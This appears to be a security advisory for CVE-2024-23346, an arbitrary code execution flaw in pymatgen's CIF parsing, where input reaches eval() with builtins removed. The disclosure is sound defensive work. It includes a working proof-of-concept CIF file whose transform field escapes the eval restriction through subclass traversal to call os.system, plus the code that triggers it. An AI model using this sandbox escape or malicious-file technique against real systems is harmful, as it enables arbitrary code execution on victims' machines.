CVSS3
Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
CHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
AI Score
Confidence
High
EPSS
Percentile
15.5%
A critical security vulnerability exists in the JonesFaithfulTransformation.from_transformation_str()
method within the pymatgen
library. This method insecurely utilizes eval() for processing input, enabling execution of arbitrary code when parsing untrusted input. This can be exploited when parsing a maliciously-created CIF file.
The cause of the vulnerability is in pymatgen/symmetry/settings.py#L97C1-L111C108. The flawed code segment involves a regular expression operation followed by the use of eval()
.
basis_change = [
re.sub(r"(?<=\w|\))(?=\() | (?<=\))(?=\w) | (?<=(\d|a|b|c))(?=([abc]))", r"*", string, flags=re.X)
for string in basis_change
]
"""snip"""
([eval(x, {"__builtins__": None}, {"a": a, "b": b, "c": c}) for x in basis_change])
The use of eval, even with __builtins__
set to None
, is still a security risk. The BuiltinImporter
class can be recovered with subclass traversal.
The vulnerability can be exploited as follows:
Create a file vuln.cif
with the following contents:
data_5yOhtAoR
_audit_creation_date 2018-06-08
_audit_creation_method "Pymatgen CIF Parser Arbitrary Code Execution Exploit"
loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]
_space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("touch pwned");0,0,0'
_space_group_magn.number_BNS 62.448
_space_group_magn.name_BNS "P n' m a' "
Then, parse the cif file with the following code:
from pymatgen.io.cif import CifParser
parser = CifParser("vuln.cif")
structure = parser.parse_structures()
This vulnerability was found and disclosed by William Khem-Marquez.
github.com/advisories/GHSA-vgv8-5cpj-qj2f
github.com/materialsproject/pymatgen/blob/master/pymatgen/symmetry/settings.py#L97C1-L111C108
github.com/materialsproject/pymatgen/commit/c231cbd3d5147ee920a37b6ee9dd236b376bcf5a
github.com/materialsproject/pymatgen/security/advisories/GHSA-vgv8-5cpj-qj2f
nvd.nist.gov/vuln/detail/CVE-2024-23346